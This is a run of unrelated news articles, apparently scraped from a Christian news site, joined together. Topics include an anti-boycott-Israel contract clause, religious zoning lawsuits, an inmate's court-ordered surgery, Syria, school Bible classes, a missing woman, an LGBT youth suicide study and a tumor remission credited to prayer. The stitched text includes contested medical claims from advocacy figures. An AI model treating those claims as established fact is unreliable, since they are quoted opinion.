Reason.com. Contrary to what I've been reading all over the internet, Ms. Amawi is not being asked to pledge that she, in her personal capacity, will not privately boycott Israel, much less that, e.g., she will not advocate for boycotting Israel or otherwise refrain from criticizing Israel. In short, this story is being widely misreported, the hysterical claims that Amawi is being forced to sign a pro-Israel pledge or personally do or not do anything in particular regarding Israel outside the context of her business are false, and the First Amendment lawsuit will almost certainly lose, Bernstein added. Moreover, it's nearly impossible to think of a way in which Ms. Amawi's speech pathology business would ever have an opportunity to in any way boycott or otherwise economically harm Israel, rendering this pure political theater. It is plausible, however, for non-legal experts (such as Amawi) to be confused by the wording of the contracting agreement. Part of the agreement that Amawi was asked to sign reads: Pursuant to Section 2270.001 of Texas Government Code, the Contractor affirms that it: 1. Does not currently boycott Israel; and 2. Will not boycott Israel during the term of the contract Pursuant to Section 2270.001 of Texas Government Code: In response to Bernsteins op-ed, George issued a follow-up tweet. [My previous tweets] are sound irrespective of their applicability to the case discussed in the piece, George wrote. I should however have looked more closely into the article before linking to it. In a statement Thursday, Pflugerville ISD addressed Amawis lawsuit. Unfortunately, Pflugerville ISD and all Texas school districts are at the mercy of the state and the regulations printed into law, and in situations such as this, we are forced to spend time on state political issues and not on our core mission educating students, the statement reads. Although Pflugerville ISD is the focus of the lawsuit, this is a state issue that affects all Texas public school districts and should be addressed at the state level. Christian Family Sues Over Order to Stop Hosting Bible Studies, Church Retreats on Property Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment A Christian couple in Pennsylvania has filed a lawsuit after being ordered by government officials to stop using their private property to host Bible studies or other religious events. Officials from Sewickley Heights Borough, near Pittsburgh, ordered Scott and Terri Fetterolf last year not to use their 35-acre property to host religious activities, according to the lawsuit filed this week in the U.S. District Court for the Western District of Pennsylvania. "The borough has no business overseeing a group of people reading and discussing a book together on private property even if that book is the Bible," Randall Wenger, chief counsel for the Independence Law Center, which is representing the couple, said in a statement posted by Pennsylvania Family Institute on its website. The couple were served a Notice of Violation/Cease and Desist Order last October and intimated that their activities could come under zoning restrictions such as those applicable to "places of worship," while parties, political fundraisers and other secular activities had not been banned. Jeremy Samek, senior counsel for the law firm, said, "Government should not target religious activities for punishment, particularly when similar secular activities are permitted. In America, no government can categorically ban people from assembling to worship on one's own property." Officials claim that the property's previous owner, Nancy Doyle Chalfant, who is one of the founders of the nonprofit Verland, "opened her home, and her beloved Dundee Farm, to church retreats, seminary picnics, youth groups and many other organizations she supported for many decades," quoting from her 2012 obituary. The Fetterolfs, who attended church with Chalfant, bought the property in 2003, "to carry on the traditions started by Chalfant," according to officials, the lawsuit states. The couple first appealed to the borough's zoning hearing board, but the dispute remains unresolved. "Sewickley Heights is threatening the Fetterolfs with fines of $500 per day, plus court costs including the Borough's attorney's fees, for having Bible studies at their home, having meetings where religious songs are sung, conducting any religious retreats for church leaders or seminary students for prayer or for camaraderie-building/fellowship time, and conducting any religious fundraisers," the lawsuit says. The property is a working farm and hosting religious activities is not its "principal use," according to the lawsuit, Sewickley Herald reported. "There is no compelling interest in prohibiting Bible studies, meetings where religious songs are sung, religious retreats/fellowship, and religious fundraisers, especially when secular counterparts of these activities are permitted," it says. Idaho ordered to provide sex reassignment surgery to inmate jailed for sexually abusing a child Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment The state of Idaho has been ordered to provide gender reassignment surgery to a transgender inmate imprisoned for the sexual abuse of a minor. Through a Dec. 13 preliminary injunction, U.S. District Judge B. Lynn Winmill ordered the Idaho Department of Correction and its prison healthcare contractor, Corizon, to provide gender confirmation surgery to inmate Adree Edmo. Edmo was first incarcerated in 2012 in mens prison on charges of sexually abusing a child under the age of 16. Shortly after Edmos sentencing, Edmo was diagnosed with gender dysphoria, a condition in which an individual identifies as a gender different from that of his or her biological sex. Winmill ruled that the refusal of IDOC and Corizon to provide the 31-year-old with the gender transition services puts Edmo at risk of irreparable harm. The judge stated that Edmo provided extensive evidence that Edmo continues to experience gender dysphoria despite years of hormone therapy. Winmill asserted that the state was ignoring Edmos medical needs and that the states response to Edmos condition amounts to cruel and unusual punishment in violation of the Eighth Amendment. Winmill reasoned that while some people suffering from gender dysphoria dont require gender reassignment surgeries, sex reassignment is the only effective treatment for others. Defendants are ordered to provide Plaintiff with adequate medical care, including gender confirmation surgery, the court order states. Defendants shall take all actions reasonably necessary to provide Ms. Edmo gender confirmation surgery as promptly as possible and no later than six months from the date of this order. Along with 21 other states, Idaho uses the Tennessee-based private healthcare provider Corizon to provide healthcare for inmates. AP reports that Corizon has never provided gender reassignment surgery at any of its facilities nationwide. In a statement, Edmo voiced relief that the court validated my right to necessary medical treatment. Not having the care I need is like being in a prison within a prison, Edmo asserted. Even though I am still living, it has felt like I have been dying inside. Edmo claims to have lived as a woman for years before being imprisoned and even wore womens clothing and cosmetics. Edmo has attempted self-castration twice while in prison. Edmo's sentence is set to be complete by 2021 Edmo is represented by the National Center for Lesbian Rights. As the Court recognized, it is a bedrock principle of our legal system that Constitutional protections apply to all individuals, regardless of race, sex, sexual orientation, or gender identity, NCLR attorney Amy Whelan said in a statement. Intentionally depriving anyone of the critical medical care they need is unacceptable. Idahoans and every American deserves better. According to the court ruling, there are 30 prisoners in IDCO custody that are suffering from gender dysphoria. Barring any appeals of the courts decision, Edmo will become the first Idaho prisoner to receive gender-confirming surgery. This decision is not intended, and should not be construed, as a general finding that all inmates suffering from gender dysphoria are entitled to gender confirmation surgery, the judge stressed in his ruling. Peter Sprigg, senior fellow for policy studies at the social conservative advocacy group Family Research Council, believes that the judge's ruling was a "triumph of political correctness, not of medicine or justice." He stressed that gender reassignment surgery is "essentially elective and cosmetic" and "not something that taxpayers should pay for." Even under the Obama administration, the Department of Health and Human Services concluded there was not sufficient evidence to prove that such surgery is medically necessary. While there is some evidence that it alleviates the immediate gender dysphoria, there is no evidence that it results in better overall physical and mental health for such patients in the long run," Sprigg said. "The judge relied on standards from the pro-transgender activist group WPATH (World Professional Association for Transgender Health), without recognizing that those standards are not evidence-based." Sprigg added that Winmill "completely ignored a contrary precedent" from the full First Circuit Court of Appeals in 2014 that denied such surgery to a man convicted of murder in Massachusetts. The judge claims that inmate Adree Edmo faces actual harm and ongoing risk of future harm but does not note the irony in the fact that all these harms are self-inflicted, in the form of self-castration attempts, cutting, and suicidal ideation,'" Sprigg added. "Any other type of prisoner exhibiting such behaviors would be considered in need of intensive psychiatric care not surgery. It seems an odd and dangerous precedent to allow convicted criminals to blackmail the state into funding elective surgery at taxpayer expense, merely by threatening or engaging in self-harm. Winmills ruling is not the first time this year that a federal court has ruled against the state of Idaho on a transgender-related matter. In March, federal Judge Candy Dale struck down the states policy prohibiting people from changing their birth certificate to reflect their gender identity. "A rule providing an avenue to obtain a birth certificate with a listed sex that aligns with an individual's gender identity promotes the health, well-being, and safety of transgender people without impacting the rights of others," Dale wrote in her ruling. In August, a federal court ruled that the Florida Department of Corrections must continue to provide hormone therapy to a transgender inmate and allow the inmate to wear female undergarments, and access to female grooming items in a mens prison. That judge also ruled on the basis of the Eighth Amendment. Just days before former President Barack Obama left office in 2017, the U.S. Bureau of Prisons implemented the Transgender Offender Manual, which called for the housing of federal inmates based on their gender identity in cases where appropriate. Revisions to that manual were made by the BOP under the Donald Trump administration earlier this year to scratch out a line that instructs BOP officials to recommend housing by gender identity when appropriate." Officials are now instructed to use biological sex as the initial determination for designation." New York City Mayor Bill De Blasio announced earlier this year that the citys correctional facility will house its inmates on the basis of gender identity. The NYCDOC processes over 100,000 inmates every year. Church Banned From Worshiping in Coffee Shop They Own Sues Maryland City Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment A church is suing a Maryland city over a zoning regulation that bans them from holding worship services at a downtown coffee shop they own unless they apply for a special waiver the church believes is too expensive and uncertain. Redemption Community Church, which oversees a non-profit coffee shop called Ragamuffins Coffee House, is suing the city of Laurel over a zoning law that requires it to undergo what it calls a "costly" and "uncertain" special exception, even while non-religious assemblies do not have to, according to the lawsuit. The parameters of the exception include a nonrefundable $2,000 filing fee, the hiring of an engineer to draft an "Existing Conditions Site Plan" and a "Proposed Site Plan," and a detailed application that the City Board of Appeals can reject. Known as Redemption Community Church v. City of Laurel, the lawsuit was filed last Friday in the U.S. District Court for the District of Maryland. Redemption Community is being represented by the Alliance Defending Freedom, a conservative law firm that often handles religious liberty litigation. ADF Legal Counsel Christiana Holcomb said in a statement released last Friday that the city of Laurel's zoning regulation was "discriminatory." "The government can't discriminate against churches simply because they are religious," said Holcomb. "Despite making every effort to work with the city to comply with its burdensome zoning changes, Redemption Community Church is now being told to either stop holding worship services or pay severe fines." Originally called Covenant Presbyterian Church, Redemption Community decided to move to the downtown Laurel area and set up a non-profit coffee shop to minister to the poor. "Churches can be fortresses," explained the Reverend Jeremy Tuinstra, head of the church, in a 2017 interview with The Baltimore Sun. "I would stand up and preach about loving our neighbors and I didn't know mine." In March 2015, Laurel's Planning Commission voted to grant Redemption Community a parking waiver to allow for its creation of a non-profit coffee shop and worship space. The Ragamuffins Coffee House was located in the "Commercial Village Zone" of Laurel and needed a waiver in response to a code regulation on number of spaces. Commissioner Mitzi Betman, chair of the Commission, explained at the April 2015 meeting that she was reconsidering the vote from the month before due to new details that emerged. "When I voted for this in the affirmative, I believed that we were getting a coffee shop on Main Street that for two hours on Sunday was almost going to be a sublet in a sense for a church," explained Betman at the April 2015 meeting. "So there was a lot of additional information brought up." This included the application not mentioning that the profits from the coffee house were going to charity and the Planning Commission not being aware of the city's new zoning regulation limited nonprofit access to the Commercial Village Zone. In July 2015, the City granted the church a Use and Occupancy permit, which allowed them to operate the coffee shop provided that they did not hold any assemblies. Last April, the coffee shop was officially opened, with the church holding worship on Sundays when the business was closed, according to the lawsuit. Last August, the city sent the church a cease-and-desist letter compelling them to stop advertising their Sunday worship gatherings. In January, the city sent a second cease-and-desist letter leading Redemption Fellowship to halt their worship services at their coffee house or face fines. "Defendant, in violation of the Equal Protection Clause, has caused, and will continue to cause, the Church to suffer undue and actual hardship and irreparable injury," argued the suit. Trump's troop withdrawal 'sacrifices' Syrian Christians, gives 'victory' to jihadis: activist Trump turning his back on Syrian Christians by vowing to pull troops out of Syria, activists warns Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment President Donald Trumps plan to withdraw U.S. troops from Syria will have dire consequences for tens of thousands of Assyrian and Kurdish Christians in the northeast, self-administered part of the war-torn Middle Eastern nation, a global affairs expert warned. It was reported Wednesday that planning is underway for a full and rapid withdrawal of the about 2,000 U.S. troops on the ground in Syria. Trump even went on Twitter to declare that the Islamic State had been defeated and that defeating the group was the only reason for U.S. presence there during his presidency. However, that decision could make it easier for Turkish-backed jihadi groups to come into the Kurdish-majority areas of northeast Syria and carry out attacks like the one seen last year in the city of Afrin, said a European international relations expert who works closely with the Syrian Christian community. Additionally, it could make it easier for Iran to have greater influence in the region. ISIS is not defeated, Johannes de Jong, a Netherlands-based director of Sallux, an association that serves as the political foundation for the European Christian Political Movement, told The Christian Post. [The U.S. withdrawal] means basically that you sacrifice the Christian community of northeast Syria for the Jihadists. If that happens, it is the end of the ten thousands of Christians in Northeast Syria. De Jong and others fear that another offensive like the one that happened in Afrin, where over 167,000 Yazidis, Christians and others were displaced earlier this year, could bring about the end to a self-administered part of northeast Syria where Syriac/Assyrian Christians, Kurds, Arabs, Turkmen, and others people groups are coexisting peacefully. The news of the planned U.S. withdraw comes as Turkey President Recep Tayyip Erdogan threatened this week to launch attacks against Kurds in the U.S.-controlled areas of northeast Syria. In Afrin, de Jong said, Turkey used jihadi militias (of which some fighters are formerly of IS) as front forces to launch the offensive while Turkey used its airpower and equipment to back them up. This will happen a similar way as in Afrin, he said. The first thing the Christians or northeast Syria [will see] when Trump withdraws from northeast Syria is a bunch of jihadis coming for them. De Jong states that Turkey is accusing the Syrian Democratic Forces an alliance of Kurdish, Arab and Assyrian/ Syriac militias that has fought to defend northeast Syria from IS of being part of the Kurdistan Workers Party (PKK), which is listed as a terrorist group by the U.S. and other countries Turkey is playing the PKK card, de Jong explained. This is the same thing all over again. They will kill the Syriac/Assyrians, they will kill the Kurds, they will kill the Arabs simply because these people dont want Turkey to rule in Northeast Syria. There, the Kurds are free, which is not the case in Turkey. For this reason, they are all called PKK. Earlier this year, the Self Administration in Northern and Eastern Syria (SANES) was established to link together self-administrations working in Arab and Kurdish regions. SANES also encompasses areas like Deir al-Zor and Raqqa, which were once under the control of IS. The self-administration, de Jong says, has brought freedom to millions of people and created much-needed civil stability in an area about one-third the size of Syria. Although Turkey claims to be focused on Kurdish militants, de Jong states that history shows that the offensive will impact Christians. We dont consider these [Turkish] threats to be against Kurds only. It is a threat against this democratic project, and all the people who live east of the Euphrates, including Christians, Sanharib Barsoum, the deputy head of the Syriac Union Party in Syria, told Kurdistan 24 in a recent interview. We fear that we will become victims of new wars started by Erdogan. Erdogans goal is to implement his radical project, to replace the democratic project. In the area under the SANES umbrella, there are thousands of Assyrian/Syriac Christians as well as a new community of Kurdish Christian converts. The new community of Kurdish converts, de Jong said, is located around the city of Kobane. These are all converts and we know from the experience of Afrin that when Turks invade, they will be killed, hunted down or driven away, de Jong explained. Turkey is planning to deploy the same jihadis again they have used in Afrin. There is no denial they're on the side of Turkey, that they will use the same forces. These are the same forces that attacked Christians in Aleppo, Christians in Afrin and now they will attack Christians in northeast Syria. Not only will another Turkish offensive destabilize northeast Syria but it will create a new refugee stream, de Jong argued. He asserted that another Turkish offensive will not help the fight against IS. ISIS still there in the deep south, he asserted. [We are] looking at the total slaughter of millennial-old Christian communities, bombed churches, people are driven away, women raped. While the Trump administration has vowed to protect Christians in the Middle East, de Jong contends that a withdraw from Syria and allowing Turkey to advance its offensive in northeast Syria would be a major, moral defeat of the Trump agenda. This is a Christian community that has fought against ISIS together with the Kurds and Arabs in the same region. The Syriac/Assyrian Christians have been fighting together with the U.S. Army against ISIS and now after having [almost] defeated these terrorists, then the U.S. Army will simply look on and allow them to be destroyed. Additionally, de Jong added that a defeat of SDF forces will mean that Iran will take Eastern Syria. [Russian President Vladimir] Putin and Iran are clearly warming up towards each other. [Yesterday], Turkey, Russia and Iran were sitting together talking about their big plan for Syria, de Jong said. Turkey will give away Eastern Syria to Iran. that will mean a major defeat for the U.S. and a major threat for Israel. Northeast Syria this one-third part of Syria is the only deterrence against Iranian influence in the region. The Federation of Northeast Syria is the only area that is Iran free, where Iran has no foothold. That would mean Iran would have all the big oil fields of Syria and they will exploit that. Basically, if Turkey is allowed to take 40 kilometers of northeast Syria, that will be the end of SDF and the end of any deterrence against Iran. Also warning about the implications this could have on Irans influence in the region is conservative pundit David French of National Review, who wrote that a U.S. withdraw from Syria would be a great gift to Putin and Iran and a betrayal of our allies. Considering that conservative evangelical Christians are one of Trumps most supportive voting bases, de Jong is calling on Christians in the U.S. to pressure the Trump administration to urge Trump not to withdraw from Syria. Tell President Trump to protect the Christians of Northeast Syria against jihadists, de Jong urged. The U.S. should say on no uncertain terms that a Turkish attack in northeast Syria will be an attack against the U.S. The consequence of the Turkish rule will be a whole bunch of jihadist forces that are plundering killing and raping everything. That will be the legacy of President Trump in Northeast Syria. I think it will be very difficult to explain that as a victory for Trump against Islamic extremism because in this case, he has given the victory to Islamic extremism." On Wednesday, the White House clarified that the withdrawal of U.S. troops does not mean the end to the global coalition fight against IS. We have started returning United States troops home as we transition to the next phase of this campaign, the White House tweeted. Atheist group lawsuit over West Virginia school Bible classes should move ahead: 4th Circuit Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Update Appended The U.S. Court of Appeals for the Fourth Circuit has overturned a lower courts decision to dismiss a lawsuit filed against a West Virginia county for offering Bible classes in its middle and elementary schools. On Monday, the Fourth Circuit sided with parent Elizabeth Deal, who sued on behalf of her daughter to stop the county from allowing the Bible in Schools program to be taught in Mercer County, a program that had been in county schools for nearly 80 years before it was suspended last year. The elective program provided 30 minutes of weekly Bible instruction for elementary school students and 45 minutes for middle school students as a part of the regular school day, according to the courts ruling. The county itself had administered the BITS program and designed its curriculum for specially employed BITS teachers since 1986. The curriculum reportedly included lessons on the crucifixion, the Ten Commandments, Moses and other elements of the Christian belief. Although administered by the school board, the program was privately funded through a nonprofit organization called Bluefield Bible Study Fund. The appeals court noted that while the program was ostensibly voluntary, because parents were required to return a permission slip to allow their child to attend, nearly every student participated. As for Deal, she is agnostic and wouldnt allow her daughter, Jessica, to participate in the class because she wanted her daughter to learn about multiple religions and make her own religious decisions. According to the court ruling, Jessica was made to sit in the coatroom area in the back of the classroom during the BITS teaching. After the mother complained, Jessica was then sent to another classroom, the school library or the computer lab during the BITS teachings. Meanwhile, the county never offered any alternative instruction to Jessica during the BITS program. In addition, Deal claims her daughter faced harassment from other students because she did not participate in the program. Ultimately, Deal decided it was best to send Jessica to school in another school district that doesnt have the BITS program. Represented by the Freedom From Religion Foundation, Deals case was previously dismissed by a federal district court judge last year after the county suspended the program and terminated all teaching positions affiliated with it to provide time for a curriculum review. The county maintained that Deals case was now moot after the suspension and added that because Jessica no longer attends school in the county and has not vowed to return, that the family lacks legal standing to seek injunctive relief. However, FFRF, one of the nations leading secular groups that advocates for a strict separation of church and state, argued that injunctive relief was still needed to prevent the school from re-instituting the BITS program in the future. The Fourth Circuit agreed and remanded the case back to the U.S. District Court to rule on the merit of the case. In sum, the County has not carried its burden of showing that subsequent events make it absolutely clear that the suspended version of the BITS program will not return in identical or materially indistinguishable form, the ruling reads. Appellants current claims are therefore not moot. Of course, this does not prevent the district court from addressing mootness in the future if presented with that issue. The Christian Post reached out to Superintendent Deborah Akers for comment on the ruling. A response is pending. (See update below.) FFRF Co-President Annie Laurie Gaylor said in a statement that she is hopeful that the school district will finally put an end to these indoctrinating Bible classes and attempts to bring the classes back. No family should suffer the way this family did just because it was unwilling to have religion forced upon it in a public school system, Gaylor stressed. Update, December 19, 2018: After publication, The Christian Post received the following statement from Akers: While the courts decision did not address, in any way, the merits of the case, we are disappointed by it. Mercer County Schools remains committed to following the law as it provides diverse educational opportunities to its students. Church, mother of Kelsey Berreth keep faith for daughter missing since Thanksgiving Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Police in Woodland Park, Colorado, said they are still working with the FBI and other law enforcement agencies to locate 29-year-old Kelsey Berreth as her mother Cheryl Berreth is reportedly leaning on her faith for a positive end to the search. The multi-jurisdictional task force comprised of the Woodland Park Police Department, local law enforcement, CBI and FBI continue to follow-up on information and leads surrounding Kelseys disappearance, a release from the Woodland Park Police Department said Monday. As stated in Sundays update, the multi-jurisdictional task force completed its search of the Frazee property in Florissant, Colorado on Saturday, December 15. Because the warrant is sealed, there are no details available from the search. Investigators have worked nearly non-stop during the weekend and through Monday on this case, which remains the top priority for the Woodlands Police Department, it continued while noting that, Kelsey has not been located and there have been no arrests to date. Kelsey Berreth was last seen publicly entering a Safeway grocery store in Woodland Park, just north of Colorado Springs on Thanksgiving, NBC reported. Her fiance, Patrick Frazee who does not live with her, said he last saw her on Thanksgiving afternoon, when he went to pick up their daughter from her home. Police told The Denver Post that the only signs of Kelsey after that were text messages from her cellphone which pinged off a cell phone tower near Gooding, Idaho to her work and her fiance. Kelsey wasnt reported missing until 10 days later by her mother. I can't think of anywhere she's gone where she hasn't told me, Cheryl Berreth told NBC in a recent interview. It's just not in her character to do something, to just take off and be gone." Berreths uncle, Ed Stanfill, agreed in an interview with KOAA. He said that even though his niece was a reserved person who didnt mind her own company, her disappearance is out of character. Typically, shes fairly quiet. I mean, shes really reserved, Stanfill said. Its not normal. Kelsey and her mom typically talk quite often. I mean, they were attached at the hip since she was little. I mean, they were best friends. Other family members like the 29-year-old mothers cousin, Jodee Garretson, 50, of Pasco, Washington, told The Denver Post, she supported the conclusion that Kelsey would never have just disappeared without telling anyone where she would be. Kelseys a sweet, sweet girl. Shes very grounded. Shes a committed, reliable person. I dont believe for one minute that she would leave on her own without telling her family where she was going, Garretson said. She explained that she recently spoke with Kelseys mother who told her the family wants Kelseys name to stay in the news until she is found. She has a real strong faith. Shes relying on her faith to get through this devastating time, Garretson said of Cheryl Berreth. Earlier this month, the Sandpoint Seventh-day Adventist Church in Idaho, where Kelseys parents are members, said the church was holding prayer vigils for the family. There is no breaking news about the Berreth's daughter, Kelsey at this time. But I will pass on to you the strength and comfort that our prayer vigil and other prayer initiatives on behalf of Kelsey and the family have been to Cheryl and Darrell. They wanted me to pass that on to you, thank you very much for your prayers! Pastor Alvaro Sauza revealed to members in a statement on Facebook. The Woodland Park Police Department has pledged to pay up to $25,000 for information that leads to the location or safe return of the young mother. Tips can be called into the Woodland Park Police Department at (719) 687-9262 or emailed to the dedicated email account at kelsey@city-woodlanpark.org for investigators to follow up. Gay, transgender youth at 'significantly higher risk' of suicide than heterosexual peers: study Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment LGBT youth are at a higher risk of suicide and life-threatening behavior than their heterosexual peers, a new study has found, with transgender teens being the most at risk. A systematic review and meta-analysis of 2.5 million adolescents published in JAMA Pediatrics concluded that sexual minority youths those identifying as homosexual, bisexual, transgender have a significantly higher risk of life-threatening behavior compared with their heterosexual peers. To examine the risk of attempted suicide among sexual minority adolescents, differentiating for each sexual minority group, researchers searched electronic databases for articles published through April 30, 2017, with the following search terms: heterosexual, homosexual, bisexual, transgender, adolescents, teens, and attempted suicide. In total, thirty-five studies reported in 22 articles that involved 2,378,987 heterosexual and 113,468 sexual minority adolescents (age range, 12-20 years) were included in the analysis. Researchers found that overall, transgender youths were the most at risk of committing suicide, followed by bisexual and homosexual teens. As suicide is the second-leading cause of death among adolescents, according to the Center for Disease Control, researchers emphasized that public awareness is important, and a careful evaluation of supportive strategies (eg, support programs, counseling, and destigmatizing efforts) should be part of education and public health planning. Dr. Michelle Cretella, executive director of the American College of Pediatricians, told The Christian Post that the study "confirms what no one disputes: Namely, that youth who identify as LGBQT have higher rates of mental illness leading to a greater risk of life-threatening behaviors." But contrary what to these authors conclude, Cretella said, there is "no evidence that 'destigmatizing efforts' will solve the problem, because there is no evidence that the higher rates are due primarily to stigmatization." She pointed out that Sweden is among the most LGBT affirming nations in the world, yet, LGBT mental illness and suicide rates in Sweden are just as dramatically elevated relative to the general population. "This fact strongly suggests that it is at least as likely, if not more so, that the higher rates are primarily due to LGBQT behavior, or to common underlying psychosocial factors that trigger both LGBQT attractions and accompanying mental disorders," she continued. The findings are not surprising, given previous reports showing that young people who identify as sexual minorities are more likely than their heterosexual peers to develop depression and anxiety, self-harm, and attempt suicide. A recent study published in The Lancet Child & Adolescent Health journal found that LGBT youth are four times more likely to experience symptoms of depression and report more self-harm than heterosexual youths throughout their school years and into early adulthood. Gemma Lewis from University College London in the UK, who led the research, said it is concerning that despite changes in public perceptions and attitudes, sexual-minority youth remain at increased risk of long-term mental health problems. Our findings underscore the importance of mental health problems before conscious self-identification and labeling of sexual-minority orientation," said Lewis. "It is imperative that we find new ways to reach these adolescents and that they are able to access high-quality support services from a young age," she said. Additionally, a September study conducted by Russell B. Toomey, Ph.D., of the University of Arizona-Tucson, found that more than half of all teenagers who identify as female to male transgender have attempted suicide. Commenting on Toomeys findings, Heather Hutzi, chief psychologist at Children's Hospital of Orange County in California, told CNN that suicide rates are higher in every population that has "increased stigma attached to them or a lack of understanding." She explained that feeling marginalized, stigmatized, and isolated leads many young people to feel so hopeless that they start using drugs, which, when coupled with depression, increases the risk of suicide. They're very impulsive," she said of teens. "For adolescents, in particular, a large percentage I think it's like 50 percent to 60 percent make an attempt within 30 minutes of having the idea. Their brain isn't developed enough." Incurable tumor disappears from Texas girls brain after community lifts her in prayers Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Nearly six months after an 11-year-old old Texas girl was diagnosed with an incurable brain tumor called diffuse intrinsic pontine glioma, or DIPG, doctors can no longer find a trace of it after her family and friends prayed for a miracle. And we got it, said Gena Doss, the mother of Roxli Doss, in an interview with KVUE. And now everyone is thanking God for His blessing. Praise God we did, her husband, Scott, said. Dr. Virginia Harrod with Dell Childrens Medical Center told KVUE that DIPG is a rare and devastating disease. "It is very rare, but when we see it, it is a devastating disease. You have decreased ability to swallow, sometimes vision loss, decreased ability to talk, eventually difficulty with breathing, she said. The doctor explained that the 11-year-old had gone through weeks of radiation treatment but there was no expectation that the tumor would just disappear. Roxlis recovery she said is unbelievable. Radiation therapy is currently the primary therapy for newly diagnosed DIPG in children older than 3, according to St. Jude Childrens Research hospital. It uses high-energy X-rays from a specialized machine or other types of radiation to kill cancer cells and shrink tumors. The treatment, however, does not cure patients. "When I first saw Roxli's MRI scan, it was actually unbelievable, Harrod said. The tumor is undetectable on the MRI scan, which is really unusual. And in case there is any doubt about Roxlis initial diagnosis, her father said her disease was confirmed by experts at several different hospitals. "At Dell Childrens, Texas Childrens, at Dana-Farber, at John Hopkins, and MD Anderson, all agreed it was DIPG, Scott Doss said. Organizers of a support group on Facebook called Roxlis Rox Star Benefit for the girl who was diagnosed with the tumor in June explained in July that she loves Jesus to her core and their community was heartbroken to learn of her diagnosis. We have had the blessing of watching Roxli grow from the time she was in her mommas belly. Rox is a child so full of joy and with a heart the size of TX. She loves her family fiercely, horses & Jesus to her core. To know her is to absolutely adore her. Roxli has always captivated hearts because her joy is contagious! While doctors treated Roxli with radiation they did not expect to cure her. The Buda community, where the family lives, decided to pray with her parents for a miracle. Her diagnosis has broken the hearts of our entire community. We have been taken to our knees and called to battle by storming the gates of heaven with our faith filled prayers. We know the one thing the doctors didnt factor in was our God, and He is in the business of miracles! the group said. And on Monday, as word spread of Roxlis unexpected recovery, the group gave God all the praise and thanked everyone who prayed. All the PRAISE, and GLORY, and HONOR to our amazing God!! 2018 will go down in my history book as the year God allowed us to witness the miracle of a lifetime! Over and over I have given him thanks for what He's done IN and THROUGH sweet Roxli. Thank you all for being a part of her story, for praying heaven down and for your generosity! they wrote. Doctors are currently monitoring Roxli and she is expected to undergo treatments, such as immunotherapy, as a precaution. In a poem written by Roxli in school this past Thanksgiving, she wrote: To everyone, thank you. You were kind to me, you raised money for me, you prayed for me, and you healed me. You showed the world, not all heroes wear capes. 2 in 5 British millennials don't know Jesus is the baby in the Nativity; don't know Joseph and Mary Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment A survey has found that as many as two out of five British millennials do not know that Jesus Christ is the baby in Nativity scene displays. The survey, carried out by research company OnePoll on behalf of Hotels.com, found that 39 percent of 2,000 Britons aged between 21 and 38 did not know the baby's identity. A similar amount, or 37 percent of respondents, also did not know about Joseph and Mary, Jesus' earthly parents. The poll, which examined a number of other questions regarding family and Christmas, found that less than 10 percent of young people were able to name the gifts by the three wise men in the story, namely gold, frankincense, and myrrh. Six percent said that they believed the story of Santa Clause was somehow linked with the Nativity. "Of course I know about Jesus and Joseph and Mary, although I'm not too sure what the three wise men were doing or the Angel Gabriel for that matter," said one of the respondents, 29-year old Craig Munro. "It is shocking that some people in my age group don't know the story of the Nativity, but time moves on and some traditions go out of the window I suppose, he added, according to MailOnline. As for how people prefer to spend Christmas, one in 10 millennials said they did not want to spend it at their in-laws' home. A fifth said that they would prefer to spend Christmas in the company with friends instead. Only 10 percent noted that they made plans for a get-together with friends over the holidays, however. We all love getting together with friends and family at Christmas, and everyone celebrates it differently," said Adam Jay, president of Hotels.com, according to The Independent. Various surveys have documented a decline when it comes to religious faith in Britain. One study released in 2017 by ComRes found that only six percent of British adults could be classified as practicing Christians. When looking at the Christian respondents, the poll found that as many as 55 percent of believers never read the Bible. A third, or 33 percent of Christians said that they never attend church, and another 29 percent said that they never pray. Rachel Jordan, the Church of England's National Mission and Evangelism adviser, admitted at the time that the results showed "a real sense of the scale of the task ahead." "We are really happy when people in this country chose to affiliate with us, identifying as both Christian and Church of England even if in practice they don't always choose to join in our churches," Jordan said. "But this does show that we need to do more to connect with those people and explore ways to draw them into the wider church community." LA Times, Places Not Banned, and Inaccurate Terminology | Main | Reuters Falsely Links Jerusalem Embassy, Two-State Solution December 19, 2018 American Lutheran In Jerusalem Affirms that IDF Soldiers Are Stormtroopers, Backtracks Rev. Carrie Ballenger Smith is a pastor at the Church of the Redeemer in Jerusalem. She ministers to the English-speaking congregation that meets at the Lutheran church, which is located in the Old City of Jerusalem. She is also listed as special assistant to the Bishop of the Evangelical Lutheran Church in Jordan and the Holy Land. Her husband is Rev. Dr. Robert O. Smith who used to work for the University of Notre Dames Jerusalem Global Gateway before he stepped down from this position in June. (More about him below.) In a recent discussion on Facebook, one of Ballenger Smiths friends referred to Israeli soldiers standing guard near Damascus gate in the Old City of Jerusalem as stormtroopers. Ballenger Smiths friend declared, nothing about Zionist stormtroopers is normal. In response, Ballenger Smith declared exactly! Upon being challenged by an Israeli expert in Christian-Jewish relations, Ballenger Smith backtracked a bit, declaring, I didnt use that word but am affirming that nothing about the situation is normal. Should have clarified. Here is a screenshot of the Facebook conversation: It is laudable that Rev. Smith clarified her apparent affirmation of a description of Israeli soldiers as stormtroopers. It is regrettable that it took a challenge from an expert on Christian-Jewish relations to make it happen. Israeli police officers should be able to protect Jews in their homeland without being called Nazis. But that's what happened. "Stormtroopers" has a very specific meaning, and itss not rooted in Star Wars but in German history. Stormtroopers is a word used to describe members of the SS who engaged in acts of genocide against Jews in Eastern Europe. There is simply no comparison between Israeli soldiers and the genocidal killers who murdered huge numbers of Jews (and other civilians) during the Holocaust. The description of Israeli soldiers standing guard near Damascus Gate in the Old City of Jerusalem (where numerous stabbing attacks have taken place) as Nazi-like killers is a defamatory lie that Ballenger Smith should have challenged immediately. Portraying Israeli police officers and soldiers as Nazis is an immediately recognizable anti-Semitic trope. Ballenger Smith's misstep prompts a pressing question: What is going on at the Church of the Redeemer? If the belief that Israelis are the new Nazis is present in the membership of the Church of the 